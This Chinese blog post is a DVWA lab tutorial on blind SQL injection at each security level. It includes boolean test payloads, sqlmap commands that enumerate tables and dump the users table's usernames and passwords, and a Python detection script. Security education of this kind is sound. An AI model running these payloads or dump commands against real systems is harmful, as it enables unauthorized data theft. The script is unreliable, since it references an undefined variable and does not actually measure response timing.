SQL注入(盲注)--DVWA

概述

分类:布尔型、延时型

LOW等级

手工

1、首先了解业务,这里和回显注入不一样,不会显示id对应的用户名,只是告诉我们他存在即为真

输入-1,返回为假

三种注入POC(真 and 假=假)

尝试第一种情况,返回为真,说明数据没有注入进去,不存在SQL注入漏洞

输入第二种情况1' and '1024'='1025 ,返回结果为假没说明存在注入漏洞

尝试第三种情况1" and "1024"="1025,返回为真,说明数据没有注入进去,不存在SQL注入漏洞

 

2、确定字符串长度,(在猜解字符串时,首先要知道字符串的长度)

函数:

举例:

猜解:

通过二分法可确定字符串长度为4

3、获取字符串内容

函数:

举例

举例:

猜解:(采用二分法进行猜解),

依次获取第二个第三个第四个字符

4、延时型注入

函数:

举例:

利用延时注入猜解:

函数:

举例:

用于延时注入:

自动化

5、SQLmap

获取数据库名称

学习SQLmap注入方法:

-V参数表示输出详细信息。有六个等级这里选择3

mid和substr作用类似

可以发现SQLmap的思路和我们进行猜解时的的思路一样的

 

Medium等级

手工

1、

进行改包:结果为假,注入成功

自动化

2、SQLmap

High等级

1、手工

自动化

2、SQLmap

发现失效了

 

发现id在cookie 中

所以要用SQlmap 对cookie进行检测(level参数>=2)

 

获取用户名密码

Impossible等级

通过查看源码发现检测了id数据类型,使用了预编译绑定id变量,有效防止SQL注入

修复

### 关于 DVWASQL 注入技术及其测试 SQL 是一种高级的 SQL 注入攻击形式,在这种情况下,应用程序不会返回任何错误消息或查询结果给攻击者。相反,攻击者通过发送特定请求并观察响应时间或其他间接信号来推断数据库的内容[^1]。 #### 如何利用 DVWA 测试 SQL DVWA 提供了一个低安全级别的环境用于练习 SQL 注入技术。为了测试 SQL ,可以按照以下方式操作: 1. **设置目标 URL 和 Cookie** 需要指定目标 URL 并提供必要的会话 cookie 来保持登录状态。例如: ```bash python sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" \ --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" ``` 这里 `sqli_blind` 是专门针对模块的路径[^3]。 2. **检测是否存在漏洞** 使用工具如 sqlmap 可以自动探测是否有的可能性。如果发现存在,则可以通过布尔型或基于时间延迟的方式进一步挖掘数据。 布尔型依赖于条件判断的结果改变页面行为;而基于时间延迟的则通过测量服务器响应的时间差异来进行推测[^4]。 3. **提取表结构和其他敏感信息** 当确认有漏洞后,可尝试获取更多关于数据库的信息,比如列出所有的表格名称或者字段名等。例如命令如下所示: ```bash python sqlmap.py ... -D dvwa --tables ``` 此外还可以继续深入探索具体某个表内的记录详情: ```bash python sqlmap.py ... -T users -C username,password --dump ``` 以上过程展示了如何借助自动化脚本以及手动分析相结合的方式来研究和实践 SQL 的技术要点[^2]。 ```python import requests def check_sql_injection(url, payload): params = {'id': payload} cookies = {"PHPSESSID": "your_session_id", "security":"low"} r = requests.get(url,params=params,cookies=cookies) if "True" in r.text or len(r.content) != normal_response_length: return True return False normal_response_length=len(requests.get(base_url).content) payload='1 AND SLEEP(5)-- ' if(check_sql_injection(base_url,payload)): print('Time-based Blind Injection Detected') else: print('No Vulnerability Found.') ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值